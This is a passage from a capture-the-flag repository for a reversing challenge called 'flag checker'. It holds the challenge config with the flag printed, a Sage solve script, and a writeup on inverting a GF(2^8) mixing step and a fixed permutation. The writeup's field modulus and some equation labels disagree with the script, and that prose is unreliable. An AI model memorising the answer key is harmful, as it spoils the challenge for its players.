0x4b90 #define OFFSET_FOR_14_418 0x4bb0 #define OFFSET_FOR_27_419 0x4bf0 #define OFFSET_FOR_16_420 0x4c10 #define OFFSET_FOR_33_421 0x4c60 #define OFFSET_FOR_26_422 0x4c80 #define OFFSET_FOR_23_423 0x4ca0 #define OFFSET_FOR_08_424 0x4cc0 #define OFFSET_FOR_01_425 0x4d00 #define OFFSET_FOR_22_426 0x4d40 #define OFFSET_FOR_23_427 0x4d60 #define OFFSET_FOR_08_428 0x4da0 #define OFFSET_FOR_09_429 0x4de0 #define OFFSET_FOR_34_430 0x4e00 #define OFFSET_FOR_03_431 0x4e40 #define OFFSET_FOR_24_432 0x4e60 #define OFFSET_FOR_01_433 0x4ea0 #define OFFSET_FOR_26_434 0x4ee0 #define OFFSET_FOR_15_435 0x4f00 #define OFFSET_FOR_12_436 0x4f20 #define OFFSET_FOR_29_437 0x4f60 #define OFFSET_FOR_10_438 0x4f80 #define OFFSET_FOR_35_439 0x4fa0 #define OFFSET_FOR_28_440 0x4fe0 #define OFFSET_FOR_01_441 0x5000 #define OFFSET_FOR_10_442 0x5020 #define OFFSET_FOR_23_443 0x5060 #define OFFSET_FOR_00_444 0x5080 #define OFFSET_FOR_21_445 0x50d0 #define OFFSET_FOR_10_446 0x50f0 #define OFFSET_FOR_35_447 0x5110 #define OFFSET_FOR_24_448 0x5130 #define OFFSET_FOR_33_449 0x5180 #define OFFSET_FOR_18_450 0x51a0 #define OFFSET_FOR_07_451 0x51c0 #define OFFSET_FOR_28_452 0x51e0 #define OFFSET_FOR_13_453 0x5220 #define OFFSET_FOR_30_454 0x5260 #define OFFSET_FOR_23_455 0x52a0 #define OFFSET_FOR_08_456 0x52c0 #define OFFSET_FOR_09_457 0x5300 #define OFFSET_FOR_30_458 0x5320 #define OFFSET_FOR_03_459 0x5340 #define OFFSET_FOR_08_460 0x5380 #define OFFSET_FOR_13_461 0x53a0 #define OFFSET_FOR_26_462 0x53e0 #define OFFSET_FOR_23_463 0x5420 #define OFFSET_FOR_24_464 0x5460 #define OFFSET_FOR_33_465 0x5480 #define OFFSET_FOR_10_466 0x54a0 #define OFFSET_FOR_19_467 0x54e0 #define OFFSET_FOR_20_468 0x5530 #define OFFSET_FOR_29_469 0x5550 #define OFFSET_FOR_02_470 0x5570 #define OFFSET_FOR_23_471 0x5590 #define OFFSET_FOR_32_472 0x55d0 #define OFFSET_FOR_05_473 0x5610 #define OFFSET_FOR_34_474 0x5650 #define OFFSET_FOR_11_475 0x5670 #define OFFSET_FOR_24_476 0x56b0 #define OFFSET_FOR_09_477 0x56f0 #define OFFSET_FOR_30_478 0x5710 #define OFFSET_FOR_15_479 0x5730 #define OFFSET_FOR_32_480 0x5770 #define OFFSET_FOR_29_481 0x5790 #define OFFSET_FOR_22_482 0x57b0 #define OFFSET_FOR_11_483 0x57f0 #define OFFSET_FOR_12_484 0x5830 #define OFFSET_FOR_09_485 0x5850 #define OFFSET_FOR_10_486 0x5870 #define OFFSET_FOR_23_487 0x58c0 #define OFFSET_FOR_24_488 0x58e0 #define OFFSET_FOR_33_489 0x5900 #define OFFSET_FOR_02_490 0x5920 #define OFFSET_FOR_35_491 0x5960 #define OFFSET_FOR_32_492 0x59a0 #define OFFSET_FOR_21_493 0x59c0 #define OFFSET_FOR_26_494 0x59e0 #define OFFSET_FOR_15_495 0x5a20 #define OFFSET_FOR_08_496 0x5a40 #define OFFSET_FOR_09_497 0x5a80 #define OFFSET_FOR_26_498 0x5aa0 #define OFFSET_FOR_23_499 0x5ac0 #define OFFSET_FOR_16_500 0x5b00 #define OFFSET_FOR_13_501 0x5b20 #define OFFSET_FOR_26_502 0x5b60 #define OFFSET_FOR_15_503 0x5b80 ================================================ FILE: rev/flag-checker/challenge.yml ================================================ version: "0.1" id: flag-checker name: flag checker category: reversing description: > What more could you ask for than a program that checks the flag for you? Just guess and check and eventually the flag will be yours! Author: joseph#8210 tags: - hard files: - ./challenge/flag_checker flags: - DUCTF{rev3rs1bl3___and___1nv3rtibl3} ================================================ FILE: rev/flag-checker/solve/solve.sage ================================================ R. = PolynomialRing(GF(2)) F = GF(2^8, alpha, modulus=alpha^8 + alpha^4 + alpha^3 + alpha + 1) Fi = F.fetch_int # K. = PolynomialRing(F) # S. = PolynomialRing(K) # m = Y^6 + Y^2 + Fi(1) # f = b0 + b1*Y + b2*Y^2 + b3*Y^3 + b4*Y^4 + b5*Y^5 # c = Fi(2)*Y^6 + Fi(3)*Y^4 + Fi(1) M = [ [3, 0, 3, 0, 2, 0], [0, 3, 0, 3, 0, 2], [2, 0, 0, 0, 1, 0], [0, 2, 0, 0, 0, 1], [3, 0, 2, 0, 0, 0], [0, 3, 0, 2, 0, 0], ] M = [[Fi(x) for x in r] for r in M] M = Matrix(F, M) NUM_ROUNDS = 16 PBOX = [23, 16, 19, 12, 31, 24, 17, 22, 13, 18, 25, 30, 9, 2, 11, 4, 33, 26, 3, 8, 5, 10, 27, 32, 21, 14, 35, 28, 7, 0, 15, 20, 29, 34, 1, 6] C0 = [0, 1, 2, 6, 12, 18] C1 = [3, 4, 5, 11, 17, 23] C2 = [7, 8, 9, 13, 14, 15] C3 = [10, 16, 22, 28, 29, 35] C4 = [19, 20, 24, 25, 26, 30] C5 = [21, 27, 31, 32, 33, 34] Cs = [C0, C1, C2, C3, C4, C5] def permute(M): M_ = copy(M) for i,p in enumerate(PBOX): M_[i] = M[p] return M_ def inv_permute(M): M_ = copy(M) for i,p in enumerate(PBOX): M_[p] = M[i] return M_ def mix_column(col): v = vector(F, [Fi(x) for x in col]) w = [x.integer_representation() for x in list(M * v)] return w def inv_mix_column(col): v = vector(F, [Fi(x) for x in col]) w = [x.integer_representation() for x in list(~M * v)] return w def mix(M): V = [mix_column([M[i] for i in C]) for C in Cs] out = [None]*sum(len(r) for r in V) for i in range(len(V)): for idx, v in zip(Cs[i], V[i]): out[idx] = v return out def inv_mix(M): V = [inv_mix_column([M[i] for i in C]) for C in Cs] out = [None]*sum(len(r) for r in V) for i in range(len(V)): for idx, v in zip(Cs[i], V[i]): out[idx] = v return out output = [0x0f, 0x4f, 0x73, 0x3c, 0x41, 0xc6, 0xa4, 0xaf, 0xb4, 0x41, 0xd6, 0x65, 0xc8, 0x99, 0xaa, 0xb3, 0x6c, 0x99, 0x61, 0x3c, 0x4e, 0xdd, 0x70, 0x46, 0x15, 0x66, 0x3c, 0x1b, 0x7f, 0x16, 0xa6, 0x6f, 0x23, 0x13, 0x12, 0x6e] for _ in range(NUM_ROUNDS): output = inv_permute(output) output = inv_mix(output) print(''.join(map(chr, output))) ================================================ FILE: rev/flag-checker/solve/writeup.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "id": "c99fcd90", "metadata": {}, "source": [ "# Challenge Overview\n", "\n", "We are given a typical flag checker binary which prompts us for the flag and prints whether or not our guess is correct. The binary is stripped, but there are not many functions and it is relatively easy to identify the core functions.\n", "\n", "The main function looks like this (cleaned up, and other functions named appropriately - we'll get to those later):\n", "\n", "```C\n", "void main(void)\n", "\n", "{\n", " size_t input_length;\n", " undefined8 tree;\n", " long in_FS_OFFSET;\n", " int i;\n", " int j;\n", " char input [40];\n", " undefined8 uStack16;\n", " \n", " uStack16 = *(undefined8 *)(in_FS_OFFSET + 0x28);\n", " init();\n", " printf(\"What\\'s the flag?: \");\n", " fgets(input,0x25,stdin);\n", " input_length = strlen(input);\n", " if (input_length != 0x24) {\n", " die();\n", " }\n", " for (i = 0; i < 0x10; i = i + 1) {\n", " mix(input);\n", " tree = generate_tree(input);\n", " permute(input,tree);\n", " }\n", " for (j = 0; j < 0x24; j = j + 1) {\n", " if (input[j] != (&FINAL)[j]) {\n", " die();\n", " }\n", " }\n", " puts(\"Correct! :)\");\n", " /* WARNING: Subroutine does not return */\n", " exit(0);\n", "}\n", "```\n", "\n", "We see that the flag should be of length 36, and that it is passed through some functions 16 times before being compared to a fixed hardcoded value.\n", "\n", "This for loop is where all the transformations seem to happen:\n", "\n", "```C\n", " for (i = 0; i < 0x10; i = i + 1) {\n", " mix(input);\n", " tree = generate_tree(input);\n", " permute(input,tree);\n", " }\n", "```\n", "\n", "We'll go through each of these functions.\n", "\n", "## Mixing Step\n", "\n", "The function at `0x19fa` (which we named `mix`) defines six different arrays containing six integers as follows:\n", "\n", "```C\n", " int c0[6] = {0, 1, 2, 6, 12, 18};\n", " int c1[6] = {3, 4, 5, 11, 17, 23};\n", " int c2[6] = {7, 8, 9, 13, 14, 15};\n", " int c3[6] = {10, 16, 22, 28, 29, 35};\n", " int c4[6] = {19, 20, 24, 25, 26, 30};\n", " int c5[6] = {21, 27, 31, 32, 33, 34};\n", "```\n", "\n", "and then calls another function, at `0x17f0` (which we will call `mix_column`) six times, each with the input and one of the above int arrays:\n", "\n", "```C\n", " mix_column(input,c0);\n", " mix_column(input,c1);\n", " mix_column(input,c2);\n", " mix_column(input,c3);\n", " mix_column(input,c4);\n", " mix_column(input,c5);\n", "```\n", "\n", "The `mix_column` function itself makes extensive use of another function at `0x17c3` (which we will just call `m`) that performs some simple bit operations on its input:\n", "\n", "```C\n", "uint m(byte param_1)\n", "{\n", " return (uint)(param_1 >> 7) * 0x1b ^ (uint)param_1 * 2;\n", "}\n", "```\n", "\n", "Back to the `mix` function, we see that it modifies the input in-place with the index being decided by the second argument (the array of six integers). We can notice that all of the integers defined in `c0`, `c1`, ..., `c5` cover all the integers from `0` to `35`, so it seems like this function simply transforms these \"chunks\" of the input independently.\n", "\n", "The modified value itself is calculated as the XOR sum of some combination of the original inputs and `m` applied to the original inputs.\n", "\n", "## Tree Generation\n", "\n", "The function at `0x1232` (which we named `generate_tree`) allocates a bunch of memory and randomly populates it with data based on the input. We can see that a custom rand function is being used which is just a simple LCG, and it is seeded at the start of the `generate_tree` function, so since this function doesn't use any other global variables, it should be deterministic and always output the same value for a given input.\n", "\n", "Obviously, we don't have function names so appropriately naming this function `generate_tree` was done in hindsight. But we can gather some information that leads us to this conclusion about the function by looking at what it actually does. For a rough overview; it allocates a large chunk (an array) of memory and another chunk of size 16, setting the first entry of the array to this size 16 value. It then iterates for 256 iterations taking the \"current\" entry `n` and randomly choosing a number `r` between 0 and 4 and making `r` further allocations of size 16, adding these new values to `n` (specifuically, the latter 8 bytes of `n` which seems to be an array by its usage) as well as the array. Then, it loops through every non-null entry in the array and assigns the first 8 bytes a random element of the input.\n", "\n", "Conceptually, the data structure looks something like this:\n", "\n", "![tree.png](./assets/tree.png)\n", "\n", "## Permutation Step\n", "\n", "The final function called in the main loop is the `permute` function which takes as arguments the (current transformed) input, and the root node of the tree generated in the tree generation step. Presumably, this function will transform the input in some way based on the tree structure. Once again, deciding to name this function `permute` was done in hindsight, but if we look at the function itself (at `0x1413`) we see that its behaviour is quite simple:\n", "\n", "```C\n", "void permute(undefined *input,long root)\n", "{\n", " *input = *(undefined *)(root + 0x2730);\n", " input[1] = *(undefined *)(root + 0x5b00);\n", " input[2] = *(undefined *)(root + 0x370);\n", " input[3] = *(undefined *)(root + 0x6f0);\n", " input[4] = *(undefined *)(root + 0x3120);\n", " input[5] = *(undefined *)(root + 0x3370);\n", " input[6] = *(undefined *)(root + 0x32d0);\n", " input[7] = *(undefined *)(root + 0x57b0);\n", " input[8] = *(undefined *)(root + 0x2ea0);\n", " input[9] = *(undefined *)(root + 0x1750);\n", " input[10] = *(undefined *)(root + 0x440);\n", " input[0xb] = *(undefined *)(root + 0x5b0);\n", " input[0xc] = *(undefined *)(root + 0x4b90);\n", " input[0xd] = *(undefined *)(root + 0x310);\n", " input[0xe] = *(undefined *)(root + 0x2f10);\n", " input[0xf] = *(undefined *)(root + 0x4ac0);\n", " input[0x10] = *(undefined *)(root + 0x1bf0);\n", " input[0x11] = *(undefined *)(root + 0x3690);\n", " input[0x12] = *(undefined *)(root + 0x1580);\n", " input[0x13] = *(undefined *)(root + 0x1620);\n", " input[0x14] = *(undefined *)(root + 0x4480);\n", " input[0x15] = *(undefined *)(root + 0x3520);\n", " input[0x16] = *(undefined *)(root + 0x1840);\n", " input[0x17] = *(undefined *)(root + 0x1e20);\n", " input[0x18] = *(undefined *)(root + 0x1330);\n", " input[0x19] = *(undefined *)(root + 0x48d0);\n", " input[0x1a] = *(undefined *)(root + 0x1d40);\n", " input[0x1b] = *(undefined *)(root + 0x3930);\n", " input[0x1c] = *(undefined *)(root + 0x2fb0);\n", " input[0x1d] = *(undefined *)(root + 0x27b0);\n", " input[0x1e] = *(undefined *)(root + 0x5b80);\n", " input[0x1f] = *(undefined *)(root + 0x2f30);\n", " input[0x20] = *(undefined *)(root + 8000);\n", " input[0x21] = *(undefined *)(root + 0x4b00);\n", " input[0x22] = *(undefined *)(root + 0x3650);\n", " input[0x23] = *(undefined *)(root + 0x2ef0);\n", " return;\n", "}\n", "```\n", "\n", "It modifies every character of our input by replacing it with some fixed offset from the root node via an out of bounds access. Since the leaves in the tree structure contain values taken from the input, we may presuppose that this function replaces the input characters with other input characters (and furthermore that it indeed is a permutation, otherwise it may not be invertible and the challenge may not be solvable).\n", "\n", "## Flag Check\n", "\n", "After 16 rounds of mixing and permuting, the transformed input is compared to the hardcoded byte string\n", "\n", "```\n", "0f4f733c41c6a4afb441d665c899aab36c99613c4edd704615663c1b7f16a66f2313126e\n", "```\n", "\n", "which can be easily extracted from the binary. The goal is to find an input that, when transformed, is equal to this string.\n", "\n", "# Solution\n", "\n", "Since the input is mixed before being permuted, when reversing the operations we need to perform the inverse permutation first, and then the inverse mix. So we'll start by analysing the permutation even further and seeing how it can be inverted.\n", "\n", "## Permutation Step\n", "\n", "To figure out exactly where the permutation sends inputs to, we need to analyse the values contained in the leaves of the tree and their offset from the root node. Since the randomness is seeded at the start of the tree generation, the permutation step is the same every time (in the sense that it sends the same positions to the same different positions every time it is called). Because of this, dynamic analysis is an easy and viable step to figuring out what the permutation is exactly. To make it easier to read, we can send an input of 36 unique characters, then skip over the `mix` function (using a debugger) and then inspect the input just after the `permute` function returns and note how the characters have shuffled around. Doing so, we see that the permutation looks something like this:\n", "\n", "![permutation.png](./assets/permutation.png)\n", "\n", "As an alternative to dynamic analysis, we could try to reimplement the tree generation logic and compute the values at the given hardcoded offsets to determine the permutation.\n", "\n", "Computing the inverse of a permutation is easy; in the above image we see that `m[0]` is mapped to `m[23]` and `m[1]` is mapped to `m[16]`. To go the other way, we would simply map `m[23]` to `m[0]` and `m[16]` to `m[1]`.\n", "\n", "## Mixing Step\n", "\n", "The core function `m` of the mix step is a very special one. In fact, if you paste the implementation in Google you might find some useful information about it. The implementation is repeated here for convenience (a slightly cleaned up version):\n", "\n", "```C\n", "byte m(byte b) {\n", " return (b << 1) ^ (((b >> 7) & 1) * 0x1b);\n", "}\n", "```\n", "\n", "It is possible to note that the mixing functions have a cyclic nature (whatever that means) and that the inverse can be found by playing with the bits and performing XORs and applying `m` similarly to how it is done in the binary (except changing the number of times it is done). There is another elegant solution however which uses some theory of [finite fields](https://en.wikipedia.org/wiki/Finite_field) (which is _basically_ just a finite set of numbers, nothing to be scared of!).\n", "\n", "The key thing is to notice that `m` is equivalent to a multiplication in $K = GF(2)[\\alpha]/(\\alpha^8 + \\alpha^4 + \\alpha^3 + 1) \\cong GF(2^8)$. There are exactly 256 elements in the finite field $K$. These elements are $0, 1, \\alpha, 1 + \\alpha, \\ldots$. In general, an element in $K$ is of the form:\n", "\n", "$$\n", "b_0 + b_1 \\alpha + b_2 \\alpha^2 + \\cdots + b_7 \\alpha^7\n", "$$\n", "\n", "where $b_i$ is either $0$ or $1$. You might notice there is a very close resemblance between this representation and the representation of bytes as binary digits. Indeed, there is a very natural mapping between elements in $K$ and bytes (integers from 0 to 255) which is exactly that; the above element would represent the integer whose least significant bit is $b_0$ and whose most significant bit is $b_7$. Because it is a lot easier to write integers as opposed to polynomials in $\\alpha$, we write integers for convenience (but we understand that they are elements of $K$).\n", "\n", "As we will now see, the implementation of `m` is equivalent to multiplication by $\\alpha$ (which is $2$ when represented as an integer). Let\n", "\n", "$$\n", "b = b_0 + b_1 \\alpha + b_2 \\alpha^2 + \\cdots + b_7 \\alpha^7\n", "$$\n", "\n", "Then,\n", "\n", "$$\n", "\\begin{aligned}\n", " \\alpha b &= \\alpha (b_0 + b_1 \\alpha + \\cdots + b_7 \\alpha^7) \\\\\n", " &= b_0 \\alpha + b_1 \\alpha^2 + \\cdots + b_7 \\alpha^8 \\\\\n", " &= b_0 \\alpha + b_1 \\alpha^2 + \\cdots + b_7 (\\alpha^4 + \\alpha^3 + \\alpha + 1) \\\\\n", " &= b_7 + (b_0 + b_7) \\alpha + b_1 \\alpha^2 + (b_2 + b_7) \\alpha^3 + (b_3 + b_7) \\alpha^4 + b_4 \\alpha^5 + b_5 \\alpha^6 + b_6 \\alpha^7\n", "\\end{aligned}\n", "$$\n", "\n", "Comparing this with the implementation of `m`:\n", "\n", "```C\n", "byte m(byte b) {\n", " return (b << 1) ^ (((b >> 7) & 1) * 0x1b);\n", "}\n", "```\n", "\n", "(noting that `0x1b = 0b00011011`) we see that the `(b << 1)` part is equivalent to shifting all of the $b_i$ up by one so that $b_0$ is multiplied with $\\alpha$, and $b_1$ with $\\alpha^2$, etc. And the `((b >> 7) & 1) * 0x1b` part is equivalent to the modulo reduction which adds $b_7$ (the most significant bit) as coefficients of $1, \\alpha, \\alpha^3$ and $\\alpha^4$.\n", "\n", "Furthermore, addition of elements in $K$ is equivalent to XORing their integer representations, so with these, we can express the mix step entirely in terms of operations in $K$.\n", "\n", "The decompilation output is annoying to read (although all the necessary information is there), so for ease of explaining, we present the source for the `mix_column` function that operates on the input and an array of six integers:\n", "\n", "```C\n", "void mix_column(unsigned char* input, int idxs[]) {\n", " unsigned char b0, b1, b2, b3, b4, b5;\n", " unsigned char d0, d1, d2, d3, d4, d5;\n", " b0 = input[idxs[0]];\n", " b1 = input[idxs[1]];\n", " b2 = input[idxs[2]];\n", " b3 = input[idxs[3]];\n", " b4 = input[idxs[4]];\n", " b5 = input[idxs[5]];\n", " d0 = b0 ^ m2(b0) ^ b2 ^ m2(b2) ^ (m2(b4));\n", " d1 = b1 ^ m2(b1) ^ b3 ^ m2(b3) ^ (m2(b5));\n", " d2 = m2(b0) ^ b4;\n", " d3 = m2(b1) ^ b5;\n", " d4 = b0 ^ m2(b0) ^ m2(b2);\n", " d5 = b1 ^ m2(b1) ^ m2(b3);\n", " input[idxs[0]] = d0;\n", " input[idxs[1]] = d1;\n", " input[idxs[2]] = d2;\n", " input[idxs[3]] = d3;\n", " input[idxs[4]] = d4;\n", " input[idxs[5]] = d5;\n", "}\n", "```\n", "\n", "The $b_i$ are the input values (characters taken from `input` given by the specified `idxs`) and the $d_i$ are the corresponding outputs which replace the inputs after they have been computed. We have:\n", "\n", "$$\n", "\\begin{aligned}\n", " d_0 &= 3 b_0 + 3 b_2 + 2 b_4 \\\\\n", " d_1 &= 3 b_1 + 3 b_3 + 2 b_5 \\\\\n", " d_2 &= 2 b_0 + b_4 \\\\\n", " d_4 &= 2 b_1 + b_5 \\\\\n", " d_5 &= 3 b_0 + 2 b_2 \\\\\n", " d_6 &= 3 b_1 + 2 b_3\n", "\\end{aligned}\n", "$$\n", "\n", "Recall that our goal is to invert this operation; that is, take the $d_i$ and return back the $b_i$. If we represent this system of equations as a matrix multiplication, it becomes clear how to do that:\n", "\n", "$$\n", "\\begin{bmatrix}\n", "d_0 \\\\ d_1 \\\\ d _2 \\\\ d_3 \\\\ d_4 \\\\ d_5\n", "\\end{bmatrix}\n", "=\n", "\\begin{bmatrix}\n", " 3 & 0 & 3 & 0 & 2 & 0 \\\\\n", " 0 & 3 & 0 & 3 & 0 & 2 \\\\\n", " 2 & 0 & 0 & 0 & 1 & 0 \\\\\n", " 0 & 2 & 0 & 0 & 0 & 1 \\\\\n", " 3 & 0 & 2 & 0 & 0 & 0 \\\\\n", " 0 & 3 & 0 & 2 & 0 & 0 \\\\\n", "\\end{bmatrix}\n", "\\begin{bmatrix}\n", "b_0 \\\\ b_1 \\\\ b _2 \\\\ b_3 \\\\ b_4 \\\\ b_5\n", "\\end{bmatrix}\n", "$$\n", "\n", "So to go from the $d_i$ to the $b_i$, we simply multiply by the inverse of this matrix:\n", "\n", "$$\n", "\\begin{bmatrix}\n", "b_0 \\\\ b_1 \\\\ b_2 \\\\ b_3 \\\\ b_4 \\\\ b_5\n", "\\end{bmatrix}\n", "=\n", "\\begin{bmatrix}\n", " 3 & 0 & 3 & 0 & 2 & 0 \\\\\n", " 0 & 3 & 0 & 3 & 0 & 2 \\\\\n", " 2 & 0 & 0 & 0 & 1 & 0 \\\\\n", " 0 & 2 & 0 & 0 & 0 & 1 \\\\\n", " 3 & 0 & 2 & 0 & 0 & 0 \\\\\n", " 0 & 3 & 0 & 2 & 0 & 0 \\\\\n", "\\end{bmatrix}^{-1}\n", "\\begin{bmatrix}\n", "d_0 \\\\ d_1 \\\\ d_2 \\\\ d_3 \\\\ d_4 \\\\ d_5\n", "\\end{bmatrix}\n", "$$\n", "\n", "The last thing to figure out is which input characters are being used as the $b_i$ in each call to `mix_column`. This is specified by the `ci` integer arrays in `mix` function as discussed before. Pictorially, the grouping looks like this:\n", "\n", "![mix-grouping.png](./assets/mix-grouping.png)\n", "\n", "## Inverting the Output\n", "\n", "To recover the correct input, we simply run the hardcoded check value through 16 rounds of inverse permutations and inverse mixing steps. At the end, we should find the flag :)\n", "\n" ] }, { "cell_type": "code", "execution_count": null, "id": "182608e0", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3 (ipykernel)", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.9.6" } }, "nbformat": 4, "nbformat_minor": 5 } ================================================ FILE: rev/flag-checker/solve/writeup.md ================================================ # Challenge Overview We are given a typical flag checker binary which prompts us for the flag and prints whether or not our guess is correct. The binary is stripped, but there are not many functions and it is relatively easy to identify the core functions. The main function looks like this (cleaned up, and other functions named appropriately - we'll get to those later): ```C void main(void) { size_t input_length; undefined8 tree; long in_FS_OFFSET; int i; int j; char input [40]; undefined8 uStack16; uStack16 = *(undefined8 *)(in_FS_OFFSET + 0x28); init(); printf("What\'s the flag?: "); fgets(input,0x25,stdin); input_length = strlen(input); if (input_length != 0x24) { die(); } for (i = 0; i < 0x10; i = i + 1) { mix(input); tree = generate_tree(input); permute(input,tree); } for (j = 0; j < 0x24; j = j + 1) { if (input[j] != (&FINAL)[j]) { die(); } } puts("Correct! :)"); /* WARNING: Subroutine does not return */ exit(0); } ``` We see that the flag should be of length 36, and that it is passed through some functions 16 times before being compared to a fixed hardcoded value. This for loop is where all the transformations seem to happen: ```C for (i = 0; i < 0x10; i = i + 1) { mix(input); tree = generate_tree(input); permute(input,tree); } ``` We'll go through each of these functions. ## Mixing Step The function at `0x19fa` (which we named `mix`) defines six different arrays containing six integers as follows: ```C int c0[6] = {0, 1, 2, 6, 12, 18}; int c1[6] = {3, 4, 5, 11, 17, 23}; int c2[6] = {7, 8, 9, 13, 14, 15}; int c3[6] = {10, 16, 22, 28, 29, 35}; int c4[6] = {19, 20, 24, 25, 26, 30}; int c5[6] = {21, 27, 31, 32, 33, 34}; ``` and then calls another function, at `0x17f0` (which we will call `mix_column`) six times, each with the input and one of the above int arrays: ```C mix_column(input,c0); mix_column(input,c1); mix_column(input,c2); mix_column(input,c3); mix_column(input,c4); mix_column(input,c5); ``` The `mix_column` function itself makes extensive use of another function at `0x17c3` (which we will just call `m`) that performs some simple bit operations on its input: ```C uint m(byte param_1) { return (uint)(param_1 >> 7) * 0x1b ^ (uint)param_1 * 2; } ``` Back to the `mix` function, we see that it modifies the input in-place with the index being decided by the second argument (the array of six integers). We can notice that all of the integers defined in `c0`, `c1`, ..., `c5` cover all the integers from `0` to `35`, so it seems like this function simply transforms these "chunks" of the input independently. The modified value itself is calculated as the XOR sum of some combination of the original inputs and `m` applied to the original inputs. ## Tree Generation The function at `0x1232` (which we named `generate_tree`) allocates a bunch of memory and randomly populates it with data based on the input. We can see that a custom rand function is being used which is just a simple LCG, and it is seeded at the start of the `generate_tree` function, so since this function doesn't use any other global variables, it should be deterministic and always output the same value for a given input. Obviously, we don't have function names so appropriately naming this function `generate_tree` was done in hindsight. But we can gather some information that leads us to this conclusion about the function by looking at what it actually does. For a rough overview; it allocates a large chunk (an array) of memory and another chunk of size 16, setting the first entry of the array to this size 16 value. It then iterates for 256 iterations taking the "current" entry `n` and randomly choosing a number `r` between 0 and 4 and making `r` further allocations of size 16, adding these new values to `n` (specifuically, the latter 8 bytes of `n` which seems to be an array by its usage) as well as the array. Then, it loops through every non-null entry in the array and assigns the first 8 bytes a random element of the input. Conceptually, the data structure looks something like this: ![tree.png](./assets/tree.png) ## Permutation Step The final function called in the main loop is the `permute` function which takes as arguments the (current transformed) input, and the root node of the tree generated in the tree generation step. Presumably, this function will transform the input in some way based on the tree structure. Once again, deciding to name this function `permute` was done in hindsight, but if we look at the function itself (at `0x1413`) we see that its behaviour is quite simple: ```C void permute(undefined *input,long root) { *input = *(undefined *)(root + 0x2730); input[1] = *(undefined *)(root + 0x5b00); input[2] = *(undefined *)(root + 0x370); input[3] = *(undefined *)(root + 0x6f0); input[4] = *(undefined *)(root + 0x3120); input[5] = *(undefined *)(root + 0x3370); input[6] = *(undefined *)(root + 0x32d0); input[7] = *(undefined *)(root + 0x57b0); input[8] = *(undefined *)(root + 0x2ea0); input[9] = *(undefined *)(root + 0x1750); input[10] = *(undefined *)(root + 0x440); input[0xb] = *(undefined *)(root + 0x5b0); input[0xc] = *(undefined *)(root + 0x4b90); input[0xd] = *(undefined *)(root + 0x310); input[0xe] = *(undefined *)(root + 0x2f10); input[0xf] = *(undefined *)(root + 0x4ac0); input[0x10] = *(undefined *)(root + 0x1bf0); input[0x11] = *(undefined *)(root + 0x3690); input[0x12] = *(undefined *)(root + 0x1580); input[0x13] = *(undefined *)(root + 0x1620); input[0x14] = *(undefined *)(root + 0x4480); input[0x15] = *(undefined *)(root + 0x3520); input[0x16] = *(undefined *)(root + 0x1840); input[0x17] = *(undefined *)(root + 0x1e20); input[0x18] = *(undefined *)(root + 0x1330); input[0x19] = *(undefined *)(root + 0x48d0); input[0x1a] = *(undefined *)(root + 0x1d40); input[0x1b] = *(undefined *)(root + 0x3930); input[0x1c] = *(undefined *)(root + 0x2fb0); input[0x1d] = *(undefined *)(root + 0x27b0); input[0x1e] = *(undefined *)(root + 0x5b80); input[0x1f] = *(undefined *)(root + 0x2f30); input[0x20] = *(undefined *)(root + 8000); input[0x21] = *(undefined *)(root + 0x4b00); input[0x22] = *(undefined *)(root + 0x3650); input[0x23] = *(undefined *)(root + 0x2ef0); return; } ``` It modifies every character of our input by replacing it with some fixed offset from the root node via an out of bounds access. Since the leaves in the tree structure contain values taken from the input, we may presuppose that this function replaces the input characters with other input characters (and furthermore that it indeed is a permutation, otherwise it may not be invertible and the challenge may not be solvable). ## Flag Check After 16 rounds of mixing and permuting, the transformed input is compared to the hardcoded byte string ``` 0f4f733c41c6a4afb441d665c899aab36c99613c4edd704615663c1b7f16a66f2313126e ``` which can be easily extracted from the binary. The goal is to find an input that, when transformed, is equal to this string. # Solution Since the input is mixed before being permuted, when reversing the operations we need to perform the inverse permutation first, and then the inverse mix. So we'll start by analysing the permutation even further and seeing how it can be inverted. ## Permutation Step To figure out exactly where the permutation sends inputs to, we need to analyse the values contained in the leaves of the tree and their offset from the root node. Since the randomness is seeded at the start of the tree generation, the permutation step is the same every time (in the sense that it sends the same positions to the same different positions every time it is called). Because of this, dynamic analysis is an easy and viable step to figuring out what the permutation is exactly. To make it easier to read, we can send an input of 36 unique characters, then skip over the `mix` function (using a debugger) and then inspect the input just after the `permute` function returns and note how the characters have shuffled around. Doing so, we see that the permutation looks something like this: ![permutation.png](./assets/permutation.png) As an alternative to dynamic analysis, we could try to reimplement the tree generation logic and compute the values at the given hardcoded offsets to determine the permutation. Computing the inverse of a permutation is easy; in the above image we see that `m[0]` is mapped to `m[23]` and `m[1]` is mapped to `m[16]`. To go the other way, we would simply map `m[23]` to `m[0]` and `m[16]` to `m[1]`. ## Mixing Step The core function `m` of the mix step is a very special one. In fact, if you paste the implementation in Google you might find some useful information about it. The implementation is repeated here for convenience (a slightly cleaned up version): ```C byte m(byte b) { return (b << 1) ^ (((b >> 7) & 1) * 0x1b); } ``` It is possible to note that the mixing functions have a cyclic nature (whatever that means) and that the inverse can be found by playing with the bits and performing XORs and applying `m` similarly to how it is done in the binary (except changing the number of times it is done). There is another elegant solution however which uses some theory of [finite fields](https://en.wikipedia.org/wiki/Finite_field) (which is _basically_ just a finite set of numbers, nothing to be scared of!). The key thing is to notice that `m` is equivalent to a multiplication in $K = GF(2)[\alpha]/(\alpha^8 + \alpha^4 + \alpha^3 + 1) \cong GF(2^8)$. There are exactly 256 elements in the finite field $K$. These elements are $0, 1, \alpha, 1 + \alpha, \ldots$. In general, an element in $K$ is of the form: $$ b_0 + b_1 \alpha + b_2 \alpha^2 + \cdots + b_7 \alpha^7 $$ where $b_i$ is either $0$ or $1$. You might notice there is a very close resemblance between this representation and the representation of bytes as binary digits. Indeed, there is a very natural mapping between elements in $K$ and bytes (integers from 0 to 255) which is exactly that; the above element would represent the integer whose least significant bit is $b_0$ and whose most significant bit is $b_7$. Because it is a lot easier to write integers as opposed to polynomials in $\alpha$, we write integers for convenience (but we understand that they are elements of $K$). As we will now see, the implementation of `m` is equivalent to multiplication by $\alpha$ (which is $2$ when represented as an integer). Let $$ b = b_0 + b_1 \alpha + b_2 \alpha^2 + \cdots + b_7 \alpha^7 $$ Then, $$ 